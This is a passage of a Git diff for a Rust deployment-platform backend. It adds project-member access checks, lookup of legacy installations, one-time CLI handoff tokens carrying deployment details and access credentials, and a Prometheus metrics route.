+                ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found(
+                    "Deployment not found",
+                ))
+            })?;
+
+    if deployment.user_id.as_deref() != Some(&user.id) {
+        return Err(ApiTypedError::not_found(
+            TypedErrorEnvelope::deployment_not_found("Deployment not found"),
+        ));
+    }
+
+    let state = DeploymentState::for_deployment_hash(pg_pool.get_ref(), &deployment_hash)
+        .await
+        .map_err(|_| {
+            ApiTypedError::internal(TypedErrorEnvelope::internal_error(
+                "Failed to build deployment state",
+            ))
+        })?;
+
+    match state {
+        Some(state) => Ok(JsonResponse::build()
+            .set_item(state)
+            .ok("Deployment state fetched")),
+        None => Err(ApiTypedError::not_found(
+            TypedErrorEnvelope::deployment_not_found("Deployment not found"),
+        )),
+    }
+}
diff --git a/src/routes/deployment/status.rs b/src/routes/deployment/status.rs
index 50c7c0aa..a7218e75 100644
--- a/src/routes/deployment/status.rs
+++ b/src/routes/deployment/status.rs
@@ -4,7 +4,23 @@ use serde::{Deserialize, Serialize};
 use sqlx::PgPool;
 use std::sync::Arc;
 
-use crate::{db, helpers::JsonResponse, models};
+use crate::routes::legacy_installations::{resolve_owned_deployment_by_hash, OwnedDeployment};
+use crate::{configuration::Settings, db, helpers::JsonResponse, models};
+
+async fn can_view_project_deployments(
+    pool: &PgPool,
+    user_id: &str,
+    project_id: i32,
+) -> Result<bool, String> {
+    let project = db::project::fetch(pool, project_id).await?;
+    match project {
+        Some(project) if project.user_id == user_id => Ok(true),
+        Some(_) => Ok(db::project_member::fetch(pool, project_id, user_id)
+            .await?
+            .is_some()),
+        None => Ok(false),
+    }
+}
 
 /// Public-facing deployment status response (hides internal metadata).
 #[derive(Debug, Clone, Serialize, Default)]
@@ -55,29 +71,52 @@ pub async fn status_by_hash_handler(
     path: web::Path<String>,
     user: web::ReqData<Arc<models::User>>,
     pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
 ) -> Result<impl Responder> {
     let hash = path.into_inner();
 
-    let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &hash)
-        .await
-        .map_err(|err| JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err))?;
+    match resolve_owned_deployment_by_hash(
+        pg_pool.get_ref(),
+        settings.get_ref(),
+        user.as_ref(),
+        &hash,
+    )
+    .await?
+    {
+        OwnedDeployment::Native(deployment) => {
+            let resp: DeploymentStatusResponse = deployment.into();
+            Ok(JsonResponse::build()
+                .set_item(resp)
+                .ok("Deployment status fetched"))
+        }
+        OwnedDeployment::Legacy(installation) => {
+            let resp = DeploymentStatusResponse {
+                id: installation
+                    .id
+                    .and_then(|value| i32::try_from(value).ok())
+                    .unwrap_or_default(),
+                project_id: 0,
+                deployment_hash: installation.deployment_hash.unwrap_or(hash),
+                status: installation.status.unwrap_or_else(|| "unknown".to_string()),
+                status_message: installation.domain,
+                created_at: parse_legacy_timestamp(installation.created_at.as_deref()),
+                updated_at: parse_legacy_timestamp(installation.updated_at.as_deref()),
+            };
 
-    match deployment {
-        Some(d) => {
-            if d.user_id.as_deref() != Some(&user.id) {
-                return Err(JsonResponse::<DeploymentStatusResponse>::build()
-                    .not_found("Deployment not found"));
-            }
-            let resp: DeploymentStatusResponse = d.into();
             Ok(JsonResponse::build()
                 .set_item(resp)
                 .ok("Deployment status fetched"))
         }
-        None => Err(JsonResponse::<DeploymentStatusResponse>::build()
-            .not_found("Deployment not found")),
     }
 }
 
+fn parse_legacy_timestamp(value: Option<&str>) -> DateTime<Utc> {
+    value
+        .and_then(|raw| DateTime::parse_from_rfc3339(raw).ok())
+        .map(|parsed| parsed.with_timezone(&Utc))
+        .unwrap_or_else(Utc::now)
+}
+
 /// `GET /api/v1/deployments/{id}`
 ///
 /// Fetch deployment status by deployment ID.
@@ -93,7 +132,9 @@ pub async fn status_handler(
 
     let deployment = db::deployment::fetch(pg_pool.get_ref(), deployment_id)
         .await
-        .map_err(|err| JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err))?;
+        .map_err(|err| {
+            JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+        })?;
 
     match deployment {
         Some(d) => {
@@ -107,8 +148,9 @@ pub async fn status_handler(
                 .set_item(resp)
                 .ok("Deployment status fetched"))
         }
-        None => Err(JsonResponse::<DeploymentStatusResponse>::build()
-            .not_found("Deployment not found")),
+        None => {
+            Err(JsonResponse::<DeploymentStatusResponse>::build().not_found("Deployment not found"))
+        }
     }
 }
 
@@ -124,17 +166,56 @@ pub async fn list_handler(
 ) -> Result<impl Responder> {
     let limit = query.limit.unwrap_or(50).max(1).min(500);
     let deployments = if let Some(project_id) = query.project_id {
-        db::deployment::fetch_by_user_and_project(pg_pool.get_ref(), &user.id, project_id, limit)
+        if !can_view_project_deployments(pg_pool.get_ref(), &user.id, project_id)
             .await
-            .map_err(|err| JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err))?
+            .map_err(|err| {
+                JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+            })?
+        {
+            return Err(
+                JsonResponse::<DeploymentStatusResponse>::build().not_found("Project not found")
+            );
+        }
+
+        let project = db::project::fetch(pg_pool.get_ref(), project_id)
+            .await
+            .map_err(|err| {
+                JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+            })?
+            .ok_or_else(|| {
+                JsonResponse::<DeploymentStatusResponse>::build().not_found("Project not found")
+            })?;
+
+        if project.user_id == user.id {
+            db::deployment::fetch_by_user_and_project(
+                pg_pool.get_ref(),
+                &user.id,
+                project_id,
+                limit,
+            )
+            .await
+            .map_err(|err| {
+                JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+            })?
+        } else {
+            db::deployment::fetch_by_project(pg_pool.get_ref(), project_id, limit)
+                .await
+                .map_err(|err| {
+                    JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+                })?
+        }
     } else {
         db::deployment::fetch_by_user(pg_pool.get_ref(), &user.id, limit)
             .await
-            .map_err(|err| JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err))?
+            .map_err(|err| {
+                JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+            })?
     };
 
-    let list: Vec<DeploymentStatusResponse> =
-        deployments.into_iter().map(DeploymentStatusResponse::from).collect();
+    let list: Vec<DeploymentStatusResponse> = deployments
+        .into_iter()
+        .map(DeploymentStatusResponse::from)
+        .collect();
 
     Ok(JsonResponse::build()
         .set_list(list)
@@ -156,11 +237,20 @@ pub async fn status_by_project_handler(
 
     let deployment = db::deployment::fetch_by_project_id(pg_pool.get_ref(), project_id)
         .await
-        .map_err(|err| JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err))?;
+        .map_err(|err| {
+            JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+        })?;
 
     match deployment {
         Some(d) => {
-            if d.user_id.as_deref() != Some(&user.id) {
+            if d.user_id.as_deref() != Some(&user.id)
+                && !db::project_member::fetch(pg_pool.get_ref(), project_id, &user.id)
+                    .await
+                    .map_err(|err| {
+                        JsonResponse::<DeploymentStatusResponse>::build().internal_server_error(err)
+                    })?
+                    .is_some()
+            {
                 return Err(JsonResponse::<DeploymentStatusResponse>::build()
                     .not_found("No deployment found for this project"));
             }
diff --git a/src/routes/handoff/mod.rs b/src/routes/handoff/mod.rs
new file mode 100644
index 00000000..d8d3e7a5
--- /dev/null
+++ b/src/routes/handoff/mod.rs
@@ -0,0 +1,512 @@
+use actix_web::{post, web, Responder, Result};
+use chrono::{DateTime, Duration, TimeZone, Utc};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+use crate::cli::deployment_lock::DeploymentLock;
+use crate::cli::stacker_client::DEFAULT_STACKER_URL;
+use crate::configuration::Settings;
+use crate::db;
+use crate::handoff::{
+    DeploymentHandoffAgent, DeploymentHandoffCloud, DeploymentHandoffCredentials,
+    DeploymentHandoffDeployment, DeploymentHandoffKind, DeploymentHandoffLink,
+    DeploymentHandoffMintRequest, DeploymentHandoffMintResponse, DeploymentHandoffPayload,
+    DeploymentHandoffProject, DeploymentHandoffResolveRequest, DeploymentHandoffServer,
+};
+use crate::helpers::JsonResponse;
+use crate::models;
+use crate::routes::legacy_installations::{
+    infer_legacy_target, legacy_target_name, resolve_owned_deployment_for_handoff, OwnedDeployment,
+};
+use crate::services::InMemoryHandoffStore;
+
+const HANDOFF_TTL_HOURS: i64 = 2;
+
+#[post("/mint")]
+pub async fn mint_handler(
+    request: web::Json<DeploymentHandoffMintRequest>,
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+    handoff_store: web::Data<Arc<InMemoryHandoffStore>>,
+    settings: web::Data<Settings>,
+    http_request: actix_web::HttpRequest,
+) -> Result<impl Responder> {
+    let expires_at = Utc::now() + Duration::hours(HANDOFF_TTL_HOURS);
+    let payload = match resolve_owned_deployment_for_handoff(
+        pg_pool.get_ref(),
+        settings.get_ref(),
+        user.as_ref(),
+        request.deployment_id.map(i64::from),
+        request.deployment_hash.as_deref(),
+    )
+    .await?
+    {
+        OwnedDeployment::Native(deployment) => {
+            let project = db::project::fetch(pg_pool.get_ref(), deployment.project_id)
+                .await
+                .map_err(JsonResponse::<String>::internal_server_error)?
+                .ok_or_else(|| JsonResponse::<String>::not_found("Project not found"))?;
+
+            let server = db::server::fetch_by_project(pg_pool.get_ref(), project.id)
+                .await
+                .map_err(JsonResponse::<String>::internal_server_error)?
+                .into_iter()
+                .next();
+
+            build_payload(
+                &http_request,
+                user.as_ref(),
+                &project,
+                &deployment,
+                server.as_ref(),
+                expires_at,
+            )
+        }
+        OwnedDeployment::Legacy(installation) => {
+            build_legacy_payload(&http_request, user.as_ref(), &installation, expires_at)
+        }
+    };
+    let token = handoff_store.insert(payload);
+    let base_url = resolve_public_base_url(&http_request);
+    let link = DeploymentHandoffLink {
+        token: token.clone(),
+        url: format!("{}/handoff#{}", base_url.trim_end_matches('/'), token),
+        expires_at,
+    };
+
+    Ok(JsonResponse::build()
+        .set_item(DeploymentHandoffMintResponse {
+            command: format!("stacker connect --handoff {}", token),
+            token: link.token,
+            url: link.url,
+            expires_at: link.expires_at,
+        })
+        .ok("CLI handoff minted"))
+}
+
+#[post("/mint/account")]
+pub async fn mint_account_handler(
+    user: web::ReqData<Arc<models::User>>,
+    handoff_store: web::Data<Arc<InMemoryHandoffStore>>,
+    http_request: actix_web::HttpRequest,
+) -> Result<impl Responder> {
+    let expires_at = Utc::now() + Duration::hours(HANDOFF_TTL_HOURS);
+    let payload = build_account_payload(&http_request, user.as_ref(), expires_at);
+    let token = handoff_store.insert(payload);
+    let base_url = resolve_public_base_url(&http_request);
+    let link = DeploymentHandoffLink {
+        token: token.clone(),
+        url: format!("{}/handoff#{}", base_url.trim_end_matches('/'), token),
+        expires_at,
+    };
+
+    Ok(JsonResponse::build()
+        .set_item(DeploymentHandoffMintResponse {
+            command: format!("stacker connect --handoff {}", token),
+            token: link.token,
+            url: link.url,
+            expires_at: link.expires_at,
+        })
+        .ok("CLI account handoff minted"))
+}
+
+#[post("/resolve")]
+pub async fn resolve_handler(
+    request: web::Json<DeploymentHandoffResolveRequest>,
+    handoff_store: web::Data<Arc<InMemoryHandoffStore>>,
+) -> Result<impl Responder> {
+    let payload = handoff_store
+        .resolve_once(&request.token)
+        .ok_or_else(|| JsonResponse::<String>::not_found("Handoff token not found"))?;
+
+    Ok(JsonResponse::build()
+        .set_item(payload)
+        .ok("CLI handoff resolved"))
+}
+
+fn build_payload(
+    http_request: &actix_web::HttpRequest,
+    user: &models::User,
+    project: &models::Project,
+    deployment: &models::Deployment,
+    server: Option<&models::Server>,
+    expires_at: chrono::DateTime<Utc>,
+) -> DeploymentHandoffPayload {
+    let target = infer_target(server);
+    let ssh_user = server
+        .and_then(|srv| srv.ssh_user.clone())
+        .filter(|value| !value.trim().is_empty())
+        .or_else(|| match target.as_str() {
+            "cloud" | "server" => Some("root".to_string()),
+            _ => None,
+        });
+    let ssh_port = server
+        .and_then(|srv| srv.ssh_port)
+        .map(|value| value as u16)
+        .or_else(|| match target.as_str() {
+            "cloud" | "server" => Some(22),
+            _ => None,
+        });
+
+    let lockfile = serde_json::to_value(DeploymentLock {
+        target: target.clone(),
+        server_ip: server.and_then(|srv| srv.srv_ip.clone()),
+        ssh_user: ssh_user.clone(),
+        ssh_port,
+        ssh_key: None,
+        server_name: server.and_then(|srv| srv.name.clone().or_else(|| srv.server.clone())),
+        deployment_id: Some(deployment.id as i64),
+        project_id: Some(project.id as i64),
+        cloud_id: server.and_then(|srv| srv.cloud_id),
+        project_name: Some(project.name.clone()),
+        stacker_email: Some(user.email.clone()),
+        deployed_at: deployment.updated_at.to_rfc3339(),
+    })
+    .unwrap_or_else(|_| serde_json::json!({}));
+
+    let base_url = resolve_public_base_url(http_request);
+    DeploymentHandoffPayload {
+        kind: DeploymentHandoffKind::Deployment,
+        version: 1,
+        expires_at,
+        project: DeploymentHandoffProject {
+            id: project.id,
+            name: project.name.clone(),
+            identity: Some(project.name.clone()),
+        },
+        deployment: DeploymentHandoffDeployment {
+            id: deployment.id,
+            hash: deployment.deployment_hash.clone(),
+            target,
+            status: deployment.status.clone(),
+        },
+        server: server.map(|srv| DeploymentHandoffServer {
+            ip: srv.srv_ip.clone(),
+            ssh_user,
+            ssh_port,
+            name: srv.name.clone().or_else(|| srv.server.clone()),
+        }),
+        cloud: server.and_then(|srv| {
+            srv.cloud_id.map(|cloud_id| DeploymentHandoffCloud {
+                id: cloud_id,
+                provider: None,
+                region: srv.region.clone(),
+            })
+        }),
+        lockfile,
+        stacker_yml: Some(render_stacker_yml(project, deployment, server)),
+        agent: server.and_then(|srv| {
+            let server_ip = srv.srv_ip.clone()?;
+            Some(DeploymentHandoffAgent {
+                base_url: format!("http://{}:8080", server_ip),
+                deployment_hash: deployment.deployment_hash.clone(),
+            })
+        }),
+        credentials: build_handoff_credentials(user, expires_at, base_url),
+    }
+}
+
+fn build_legacy_payload(
+    http_request: &actix_web::HttpRequest,
+    user: &models::User,
+    installation: &crate::connectors::user_service::install::InstallationDetails,
+    expires_at: chrono::DateTime<Utc>,
+) -> DeploymentHandoffPayload {
+    let target = infer_legacy_target(installation);
+    let installation_id = installation
+        .id
+        .and_then(|value| i32::try_from(value).ok())
+        .unwrap_or_default();
+    let deployment_hash = installation.deployment_hash.clone().unwrap_or_default();
+    let project_name = legacy_target_name(installation);
+    let server_ip = installation
+        .server_ip
+        .clone()
+        .filter(|value| !value.trim().is_empty());
+
+    let lockfile = serde_json::to_value(DeploymentLock {
+        target: target.clone(),
+        server_ip: server_ip.clone(),
+        ssh_user: server_ip.as_ref().map(|_| "root".to_string()),
+        ssh_port: server_ip.as_ref().map(|_| 22),
+        ssh_key: None,
+        server_name: installation
+            .domain
+            .clone()
+            .or_else(|| installation.stack_code.clone()),
+        deployment_id: None,
+        project_id: None,
+        cloud_id: None,
+        project_name: Some(project_name.clone()),
+        stacker_email: Some(user.email.clone()),
+        deployed_at: installation
+            .updated_at
+            .clone()
+            .unwrap_or_else(|| Utc::now().to_rfc3339()),
+    })
+    .unwrap_or_else(|_| serde_json::json!({}));
+
+    let base_url = resolve_public_base_url(http_request);
+    DeploymentHandoffPayload {
+        kind: DeploymentHandoffKind::Deployment,
+        version: 1,
+        expires_at,
+        project: DeploymentHandoffProject {
+            id: installation_id,
+            name: project_name.clone(),
+            identity: Some(project_name.clone()),
+        },
+        deployment: DeploymentHandoffDeployment {
+            id: installation_id,
+            hash: deployment_hash.clone(),
+            target: target.clone(),
+            status: installation
+                .status
+                .clone()
+                .unwrap_or_else(|| "unknown".to_string()),
+        },
+        server: server_ip.clone().map(|ip| DeploymentHandoffServer {
+            ip: Some(ip),
+            ssh_user: Some("root".to_string()),
+            ssh_port: Some(22),
+            name: installation
+                .domain
+                .clone()
+                .or_else(|| installation.stack_code.clone()),
+        }),
+        cloud: installation
+            .cloud
+            .as_ref()
+            .map(|provider| DeploymentHandoffCloud {
+                id: 0,
+                provider: Some(provider.clone()),
+                region: None,
+            }),
+        lockfile,
+        stacker_yml: Some(render_legacy_stacker_yml(
+            &project_name,
+            &deployment_hash,
+            &target,
+            installation,
+        )),
+        agent: server_ip.map(|ip| DeploymentHandoffAgent {
+            base_url: format!("http://{}:8080", ip),
+            deployment_hash,
+        }),
+        credentials: build_handoff_credentials(user, expires_at, base_url),
+    }
+}
+
+fn build_account_payload(
+    http_request: &actix_web::HttpRequest,
+    user: &models::User,
+    expires_at: DateTime<Utc>,
+) -> DeploymentHandoffPayload {
+    let base_url = resolve_public_base_url(http_request);
+
+    DeploymentHandoffPayload {
+        kind: DeploymentHandoffKind::Account,
+        version: 1,
+        expires_at,
+        project: DeploymentHandoffProject {
+            id: 0,
+            name: user.email.clone(),
+            identity: Some(user.email.clone()),
+        },
+        deployment: DeploymentHandoffDeployment {
+            id: 0,
+            hash: String::new(),
+            target: "account".to_string(),
+            status: "ready".to_string(),
+        },
+        server: None,
+        cloud: None,
+        lockfile: serde_json::json!({}),
+        stacker_yml: None,
+        agent: None,
+        credentials: build_handoff_credentials(user, expires_at, base_url),
+    }
+}
+
+fn build_handoff_credentials(
+    user: &models::User,
+    handoff_expires_at: DateTime<Utc>,
+    server_url: String,
+) -> Option<DeploymentHandoffCredentials> {
+    user.access_token
+        .clone()
+        .map(|access_token| DeploymentHandoffCredentials {
+            expires_at: infer_access_token_expiry(&access_token).unwrap_or(handoff_expires_at),
+            access_token,
+            token_type: "Bearer".to_string(),
+            email: Some(user.email.clone()),
+            server_url: Some(server_url),
+        })
+}
+
+fn infer_access_token_expiry(token: &str) -> Option<DateTime<Utc>> {
+    #[derive(serde::Deserialize)]
+    struct JwtExpiryClaims {
+        exp: i64,
+    }
+
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+
+    let payload = token.split('.').nth(1)?;
+    let decoded = URL_SAFE_NO_PAD.decode(payload).ok()?;
+    let claims: JwtExpiryClaims = serde_json::from_slice(&decoded).ok()?;
+    Utc.timestamp_opt(claims.exp, 0).single()
+}
+
+fn infer_target(server: Option<&models::Server>) -> String {
+    match server {
+        Some(srv) if srv.cloud_id.is_some() => "cloud".to_string(),
+        Some(_) => "server".to_string(),
+        None => "local".to_string(),
+    }
+}
+
+fn render_stacker_yml(
+    project: &models::Project,
+    deployment: &models::Deployment,
+    server: Option<&models::Server>,
+) -> String {
+    let target = infer_target(server);
+    let mut lines = vec![
+        format!("name: {}", quote_yaml(&project.name)),
+        "project:".to_string(),
+        format!("  identity: {}", quote_yaml(&project.name)),
+        "deploy:".to_string(),
+        format!("  target: {}", quote_yaml(&target)),
+        format!(
+            "  deployment_hash: {}",
+            quote_yaml(&deployment.deployment_hash)
+        ),
+    ];
+
+    if let Some(srv) = server {
+        if target == "server" {
+            lines.push("  server:".to_string());
+            if let Some(host) = srv.srv_ip.as_ref() {
+                lines.push(format!("    host: {}", quote_yaml(host)));
+            }
+            if let Some(user) = srv.ssh_user.as_ref() {
+                lines.push(format!("    user: {}", quote_yaml(user)));
+            }
+            if let Some(port) = srv.ssh_port {
+                lines.push(format!("    port: {}", port));
+            }
+        } else if target == "cloud" {
+            lines.push("  cloud:".to_string());
+            if let Some(server_name) = srv.name.as_ref().or(srv.server.as_ref()) {
+                lines.push(format!("    server: {}", quote_yaml(server_name)));
+            }
+        }
+    }
+
+    lines.join("\n") + "\n"
+}
+
+fn render_legacy_stacker_yml(
+    project_name: &str,
+    deployment_hash: &str,
+    target: &str,
+    installation: &crate::connectors::user_service::install::InstallationDetails,
+) -> String {
+    let mut lines = vec![
+        format!("name: {}", quote_yaml(project_name)),
+        "project:".to_string(),
+        format!("  identity: {}", quote_yaml(project_name)),
+        "deploy:".to_string(),
+        format!("  target: {}", quote_yaml(target)),
+        format!("  deployment_hash: {}", quote_yaml(deployment_hash)),
+    ];
+
+    if target == "server" {
+        lines.push("  server:".to_string());
+        if let Some(host) = installation.server_ip.as_ref() {
+            lines.push(format!("    host: {}", quote_yaml(host)));
+        }
+        lines.push("    user: root".to_string());
+        lines.push("    port: 22".to_string());
+    }
+
+    lines.join("\n") + "\n"
+}
+
+fn quote_yaml(value: &str) -> String {
+    serde_yaml::to_string(value)
+        .map(|yaml| yaml.trim().to_string())
+        .unwrap_or_else(|_| format!("{:?}", value))
+}
+
+fn resolve_public_base_url(request: &actix_web::HttpRequest) -> String {
+    let connection_info = request.connection_info();
+    let scheme = connection_info.scheme();
+    let host = connection_info.host();
+    if !host.is_empty() {
+        format!("{}://{}", scheme, host)
+    } else {
+        DEFAULT_STACKER_URL.to_string()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use actix_web::test::TestRequest;
+    use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
+    use serde_json::json;
+
+    fn test_user_with_token(token: &str) -> models::User {
+        models::User {
+            id: "user-1".to_string(),
+            first_name: "Test".to_string(),
+            last_name: "User".to_string(),
+            email: "user@example.com".to_string(),
+            role: "group_user".to_string(),
+            email_confirmed: true,
+            mfa_verified: false,
+            access_token: Some(token.to_string()),
+        }
+    }
+
+    fn create_test_jwt(exp: i64) -> String {
+        let header = json!({"alg": "HS256", "typ": "JWT"});
+        let payload = json!({"sub": "user-1", "email": "user@example.com", "exp": exp});
+        format!(
+            "{}.{}.signature",
+            URL_SAFE_NO_PAD.encode(header.to_string()),
+            URL_SAFE_NO_PAD.encode(payload.to_string()),
+        )
+    }
+
+    #[test]
+    fn infers_access_token_expiry_from_jwt_exp_claim() {
+        let expected = Utc::now() + Duration::hours(6);
+        let token = create_test_jwt(expected.timestamp());
+
+        let inferred = infer_access_token_expiry(&token).expect("jwt expiry should be inferred");
+
+        assert_eq!(inferred.timestamp(), expected.timestamp());
+    }
+
+    #[test]
+    fn account_payload_is_marked_account_scoped() {
+        let request = TestRequest::default()
+            .insert_header(("host", "stacker.try.direct"))
+            .to_http_request();
+        let expires_at = Utc::now() + Duration::hours(2);
+        let payload =
+            build_account_payload(&request, &test_user_with_token("opaque-token"), expires_at);
+
+        assert!(payload.is_account_scoped());
+        assert_eq!(payload.deployment.target, "account");
+        assert_eq!(
+            payload.project.identity.as_deref(),
+            Some("user@example.com")
+        );
+        assert_eq!(payload.lockfile, json!({}));
+        assert!(payload.stacker_yml.is_none());
+    }
+}
diff --git a/src/routes/health_checks.rs b/src/routes/health_checks.rs
index f281a54e..95ef3a71 100644
--- a/src/routes/health_checks.rs
+++ b/src/routes/health_checks.rs
@@ -6,7 +6,7 @@ use std::sync::Arc;
 pub async fn health_check(checker: web::Data<Arc<HealthChecker>>) -> HttpResponse {
     let health_response = checker.check_all().await;
 
-    if health_response.is_healthy() {
+    if health_response.is_operational() {
         HttpResponse::Ok().json(health_response)
     } else {
         HttpResponse::ServiceUnavailable().json(health_response)
@@ -18,3 +18,17 @@ pub async fn health_metrics(metrics: web::Data<Arc<HealthMetrics>>) -> HttpRespo
     let stats = metrics.get_all_stats().await;
     HttpResponse::Ok().json(stats)
 }
+
+#[get("")]
+pub async fn prometheus_metrics() -> HttpResponse {
+    use prometheus::Encoder;
+    let encoder = prometheus::TextEncoder::new();
+    let metric_families = prometheus::gather();
+    let mut buffer = Vec::new();
+    encoder.encode(&metric_families, &mut buffer).unwrap();
+    let body = String::from_utf8(buffer).unwrap();
+
+    HttpResponse::Ok()
+        .content_type("text/plain; version=0.0.4; charset=utf-8")
+        .body(body)
+}
diff --git a/src/routes/legacy_installations.rs b/src/routes/legacy_installations.rs
new file mode 100644
index 00000000..ecf40336
--- /dev/null
+++ b/src/routes/legacy_installations.rs
@@ -0,0 +1,198 @@
+use sqlx::PgPool;
+
+use crate::configuration::Settings;
+use crate::connectors::config::UserServiceConfig;
+use crate::connectors::user_service::install::{Installation, InstallationDetails};
+use crate::connectors::user_service::UserServiceClient;
+use crate::helpers::JsonResponse;
+use crate::{db, models};
+
+pub enum OwnedDeployment {
+    Native(models::Deployment),
+    Legacy(InstallationDetails),
+}
+
+fn build_user_service_client(settings: &Settings) -> Option<UserServiceClient> {
+    let config = settings
+        .connectors
+        .user_service
+        .clone()
+        .unwrap_or_else(UserServiceConfig::default);
+
+    if config.enabled {
+        return Some(UserServiceClient::new(config));
+    }
+
+    if settings.user_service_url.trim().is_empty() {
+        return None;
+    }
+
+    let mut fallback = UserServiceConfig::default();
+    fallback.base_url = settings.user_service_url.trim_end_matches('/').to_string();
+    Some(UserServiceClient::new(fallback))
+}
+
+fn user_access_token(user: &models::User) -> Option<&str> {
+    user.access_token
+        .as_deref()
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+}
+
+fn map_installation_error(error: impl std::fmt::Display) -> actix_web::Error {
+    JsonResponse::<String>::internal_server_error(error.to_string())
+}
+
+pub fn legacy_target_name(installation: &InstallationDetails) -> String {
+    installation
+        .domain
+        .clone()
+        .or_else(|| installation.stack_code.clone())
+        .or_else(|| installation.deployment_hash.clone())
+        .or_else(|| {
+            installation
+                .id
+                .map(|id| format!("legacy-installation-{}", id))
+        })
+        .unwrap_or_else(|| "legacy-installation".to_string())
+}
+
+pub fn infer_legacy_target(installation: &InstallationDetails) -> String {
+    if installation
+        .cloud
+        .as_ref()
+        .map(|value| !value.trim().is_empty())
+        .unwrap_or(false)
+    {
+        "cloud".to_string()
+    } else if installation
+        .server_ip
+        .as_ref()
+        .map(|value| !value.trim().is_empty())
+        .unwrap_or(false)
+    {
+        "server".to_string()
+    } else {
+        "local".to_string()
+    }
+}
+
+pub async fn resolve_owned_deployment_by_hash(
+    pg_pool: &PgPool,
+    settings: &Settings,
+    user: &models::User,
+    deployment_hash: &str,
+) -> Result<OwnedDeployment, actix_web::Error> {
+    let deployment = db::deployment::fetch_by_deployment_hash(pg_pool, deployment_hash)
+        .await
+        .map_err(JsonResponse::<String>::internal_server_error)?;
+
+    if let Some(deployment) = deployment {
+        if deployment.user_id.as_deref() == Some(&user.id) {
+            return Ok(OwnedDeployment::Native(deployment));
+        }
+        return Err(JsonResponse::<String>::not_found("Deployment not found"));
+    }
+
+    let token = user_access_token(user)
+        .ok_or_else(|| JsonResponse::<String>::not_found("Deployment not found"))?;
+    let client = build_user_service_client(settings)
+        .ok_or_else(|| JsonResponse::<String>::not_found("Deployment not found"))?;
+
+    match client
+        .get_installation_by_hash(token, deployment_hash)
+        .await
+    {
+        Ok(installation) => Ok(OwnedDeployment::Legacy(installation)),
+        Err(err) => {
+            tracing::warn!(
+                error = %err,
+                deployment_hash = deployment_hash,
+                "Direct legacy deployment lookup failed; falling back to installation list"
+            );
+            let installation = client
+                .list_installations(token)
+                .await
+                .map_err(map_installation_error)?
+                .into_iter()
+                .find(|item| item.deployment_hash.as_deref() == Some(deployment_hash))
+                .ok_or_else(|| JsonResponse::<String>::not_found("Deployment not found"))?;
+
+            hydrate_legacy_installation(&client, token, installation).await
+        }
+    }
+}
+
+pub async fn resolve_owned_deployment_for_handoff(
+    pg_pool: &PgPool,
+    settings: &Settings,
+    user: &models::User,
+    deployment_id: Option<i64>,
+    deployment_hash: Option<&str>,
+) -> Result<OwnedDeployment, actix_web::Error> {
+    if let Some(deployment_id) = deployment_id {
+        if let Ok(native_id) = i32::try_from(deployment_id) {
+            let deployment = db::deployment::fetch(pg_pool, native_id)
+                .await
+                .map_err(JsonResponse::<String>::internal_server_error)?;
+
+            if let Some(deployment) = deployment {
+                if deployment.user_id.as_deref() == Some(&user.id) {
+                    return Ok(OwnedDeployment::Native(deployment));
+                }
+                return Err(JsonResponse::<String>::not_found("Deployment not found"));
+            }
+        }
+
+        let token = user_access_token(user)
+            .ok_or_else(|| JsonResponse::<String>::not_found("Deployment not found"))?;
+        let client = build_user_service_client(settings)
+            .ok_or_else(|| JsonResponse::<String>::not_found("Deployment not found"))?;
+
+        let installation = client
+            .get_installation(token, deployment_id)
+            .await
+            .map_err(map_installation_error)?;
+
+        if let Some(expected_hash) = deployment_hash {
+            if installation.deployment_hash.as_deref() != Some(expected_hash) {
+                return Err(JsonResponse::<String>::not_found("Deployment not found"));
+            }
+        }
+
+        return Ok(OwnedDeployment::Legacy(installation));
+    }
+
+    let deployment_hash = deployment_hash.ok_or_else(|| {
+        JsonResponse::<String>::bad_request("deployment_id or deployment_hash is required")
+    })?;
+    resolve_owned_deployment_by_hash(pg_pool, settings, user, deployment_hash).await
+}
+
+async fn hydrate_legacy_installation(
+    client: &UserServiceClient,
+    token: &str,
+    installation: Installation,
+) -> Result<OwnedDeployment, actix_web::Error> {
+    if let Some(installation_id) = installation.id {
+        return client
+            .get_installation(token, installation_id)
+            .await
+            .map(OwnedDeployment::Legacy)
+            .map_err(map_installation_error);
+    }
+
+    Ok(OwnedDeployment::Legacy(InstallationDetails {
+        id: installation.id,
+        stack_code: installation.stack_code,
+        status: installation.status,
+        cloud: installation.cloud,
+        deployment_hash: installation.deployment_hash,
+        domain: installation.domain,
+        server_ip: None,
+        apps: None,
+        agent_config: None,
+        created_at: installation.created_at,
+        updated_at: installation.updated_at,
+    }))
+}
diff --git a/src/routes/marketplace/admin.rs b/src/routes/marketplace/admin.rs
index c9f9b325..40f2e8e1 100644
--- a/src/routes/marketplace/admin.rs
+++ b/src/routes/marketplace/admin.rs
@@ -10,6 +10,10 @@ use std::sync::Arc;
 use tracing::Instrument;
 use uuid;
 
+const ALLOWED_VENDOR_VERIFICATION_STATUSES: &[&str] =
+    &["unverified", "pending", "verified", "rejected"];
+const ALLOWED_VENDOR_ONBOARDING_STATUSES: &[&str] = &["not_started", "in_progress", "completed"];
+
 #[tracing::instrument(name = "List submitted templates (admin)", skip_all)]
 #[get("")]
 pub async fn list_submitted_handler(
@@ -49,12 +53,32 @@ pub async fn detail_handler(
         .await
         .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
 
